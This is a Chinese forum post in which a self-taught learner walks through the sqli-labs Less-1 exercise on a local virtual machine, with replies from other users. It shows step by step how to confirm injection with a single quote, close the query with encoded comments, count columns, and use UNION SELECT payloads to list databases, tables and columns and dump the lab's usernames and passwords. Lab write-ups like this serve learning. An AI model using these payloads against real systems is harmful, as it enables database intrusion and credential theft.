吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3122|回复: 12
收起左侧

[Web逆向] 学破解第143天,《Less-1 GET型基于错误的单引号字符型注入》学习

[复制链接]
小菜鸟一枚 发表于 2021-9-30 17:48

学破解第143天,《Less-1 GET型基于错误的单引号字符型注入》学习

前言:
  从小学到大专(计算机网络技术专业),玩过去的,所以学习成绩惨不忍睹,什么证书也没考,直到找不到工作才后悔,不知道怎么办才好。

  2017年12月16日,通过19元注册码注册论坛账号,开始做伸手党,潜水一年多,上来就是找软件。(拿论坛高大上的软件出去装X)

  2018年8月10日,报名了华中科技大学网络教育本科(计算机科学与技术专业)2018级秋季。(开始提升学历)

  2019年6月17日,不愿再做小菜鸟一枚,开始零基础学习破解。(感谢小糊涂虫大哥在我刚开始学习脱壳时,录制视频解答我的问题)

  2020年7月7日,感谢H大对我的鼓励,拥有了第一篇获得优秀的文章。(接下来希望学习逆向,逆天改命)

  2021年8月11日,华科学位英语2次不过,仅取得了毕业证书,学业提升失败,开始琢磨考注册类和职称类证书,谋求涨薪

  坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/thread-1503734-1-1.html
立帖为证!--------记录学习的点点滴滴

0x1 PHP源码修改

  1.打开index文件源码看到,这里有sql语句:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

  2.接下来百度下php语法:
PHP 变量规则:
变量以 $符号开始,后面跟着变量的名称 变量名必须以字母或者下划线字符开始 变量名只能包含字母、数字以及下划线(A-z、0-9 和 _ ) 变量名不能包含空格 变量名是区分大小写的($y 和 $Y 是两个不同的变量)

  3.现在能看懂这段代码了吧,执行SQL语句,返回结果存储在result中。

  4.我们要干的是啥呢?打印sql语句,看看我们get方式传进来的参数变成啥样子,百度得到下面的知识:
PHP echo 和 print 语句
echo 和 print 区别:
echo - 可以输出一个或多个字符串
print - 只允许输出一个字符串,返回值总为 1
提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。

  5.接下来就可以动手添加我们的代码了,加一句输出,方便我们一会理解为什么能注入。

echo $sql;
print "<br/>";

这里为了学习,两个一起用,嘿嘿。

0x2 尝试注入

  1.浏览器访问靶机,打开题目:
https://z3.ax1x.com/2021/09/30/4Itya4.png

  2.按照题目用id作为参数注入,试试单引号,看是否存在注入点,测试http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27
https://z3.ax1x.com/2021/09/30/4INnwF.png
可以看到,我们输入的参数被直接带入到数据库查询了,多出来了1个',所以报错了,所以判断这里存在注入点。其次再看看SELECT * FROM users WHERE id='1'' LIMIT 0,1,这是我们添加的打印语句,能明确的告诉我们语句未闭合。

  3.那么怎么让数据闭合呢?学过C语言的小菜鸟知道,可以用//注释代码,在sql中怎么注释代码呢?
第一种(因为我们只能控制左边,所以不能用在这里):
/* */
第二种(这种注意--后面有空格):
--
第三种(不用加空格就能注释掉):
#

  4.接下来输入测试,看能不能注释掉:
第一种方法:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27#
SELECT FROM users WHERE id='1'' LIMIT 0,1报错,没有成功注释后面的单引号
第二种方法:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--
SELECT
FROM users WHERE id='1'--' LIMIT 0,1报错,还是没注释掉单引号

小菜鸟满头问号???什么情况,大佬难道百度分享假的教程。
https://static.52pojie.cn/static/image/smiley/laohu/laohu22.gif

  5.等等,看看地址栏,怎么混入了奇奇怪怪的东西,明明输入的是单引号,为什么变成23%了?
http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--
百度搜索了一下,说是URL编码(详见文末参考资料),也就是说需要转义,浏览器空格末尾打不上上去,#默认理解为锚点。

字符 来自 Windows-1252 来自 UTF-8
space %20 %20
! %21 %21
" %22 %22
# %23 %23
$ %24 %24
% %25 %25
& %26 %26
' %27 %27
( %28 %28
) %29 %29
* %2A %2A
+ %2B %2B
, %2C %2C
- %2D %2D
. %2E %2E
/ %2F %2F

  6.修改一下注入语句,URL编码后再注入:
第一种方法:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27%23
SELECT FROM users WHERE id='1'#' LIMIT 0,1,可以看到注入成功。
第二种方法:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27--%20
SELECT
FROM users WHERE id='1'-- ' LIMIT 0,1,同样注入成功。

0x3 实战打靶

  1.想办法一步步获取数据库信息,首先还是回到虚拟机,在phpstudy中一键安装PHPMyadmin:
https://z3.ax1x.com/2021/09/30/4I2xOg.png
然后回到真机环境下浏览器访问:http://192.168.32.129:8888/phpMyAdmin4.8.5/
在这里可以测试SQL语句:
SELECT FROM users ORDER BY 1,按第一列排序
SELECT
FROM users ORDER BY 2,按第二列排序
......
SELECT * FROM users ORDER BY 4,发现报错了,说明只有3列,利用这个思路,我们在浏览器中输入:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%204%23
发现错误提示:Unknown column '4' in 'order clause',说明只有3个列。

  2.接着我们输入:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23
这里使用union联合查询,这里为什么id=-1,是因为需要让前半句参数失效,显示后半句执行的结果。
https://z3.ax1x.com/2021/09/30/4o8JzV.png
可以发现这里2和3进行了回显,那我就可以利用2或者3列显示我想知道的数据。
注意:select语句的参数个数仍要保持与前半句一致,否则就会造成语法错误。

  3.假设我想利用第二列回显当前数据库:浏览器输入:[http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23](http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,database(),3#' LIMIT 0,1
Your Login name:security
Your Password:3
第二列就告诉了我们当前数据库是security。

  4.假设我想利用第三列回显所有数据库,浏览器输入:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#' LIMIT 0,1
Your Login name:2
Your Password:information_schema,challenges,mysql,performance_schema,security
group_concat函数作用:原本这列只能回显一行数据,通过这个函数将多个行变成一个字符串返回。(详细用法见文末参考资料)

  5.再来试试查看制定数据库下的所有表名:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%23
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#' LIMIT 0,1
Your Login name:2
Your Password:emails,referers,uagents,users
可以看到有四张表

  6.再来试试查看表中的所有列:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%23
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#' LIMIT 0,1
Your Login name:2
Your Password:id,username,password
可以看到有三列

  7.查询users表中所有的账户和密码:http://192.168.32.129:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(concat_ws(%27||%27,username,password))%20from%20security.users%23%20from%20security.users%23)
输出:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws('||',username,password)) from security.users#' LIMIT 0,1
Your Login name:2
Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4
说明:这里group_concat函数里面又嵌套了一个concat_ws是用来以双竖线分割用户名和密码的,不然连在一起,都不知道那是用户名,哪是密码了。

0x4总结

  1.跟着教程来,其实并不难,一定要理解,不能直接复制粘贴,不能换个环境就用不了。
  2.第一步让数据库查询语句出错,看是否存在注入点,我们输入的内容有没有被过滤,有没有带入数据库查询。
  3.第二步就是让sql语句闭合,能执行我们构造的语句。
  4.最后就是找到回显数据的地方,想办法查看我们所需的信息。

0x5参考资料

  1.PHP菜鸟教程
  2.MySQL注释:单行注释和多行注释
  3.HTML URL 编码参考手册
  4.MySQL 教程

  PS:善于总结,善于发现,找到分析问题的思路和解决问题的办法。虽然我现在还是零基础的小菜鸟一枚,也许学习逆向逆天改命我会失败,但也有着成功的可能,只要还有希望,就决不放弃!

免费评分

参与人数 3吾爱币 +8 热心值 +3 收起 理由
涛之雨 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xhever + 1 + 1 用心讨论,共获提升!
FULUOBO + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

nur11111 发表于 2021-9-30 18:51
不明觉厉!!
cosn 发表于 2021-9-30 20:28
daymissed 发表于 2021-10-1 10:12
haitunhv 发表于 2021-10-1 11:09
跟着大佬每天学习ing
mijinone 发表于 2021-10-1 11:15
菜鸟还懂,先支持
红蓝黄 发表于 2021-10-1 13:37
很激励,每天学习
秋海明月 发表于 2021-10-1 19:34
不明觉厉!!
aonima 发表于 2021-10-2 20:57
加油!!!!
126277330 发表于 2021-10-2 22:02
大佬咋开始学SQL注入了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 17:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表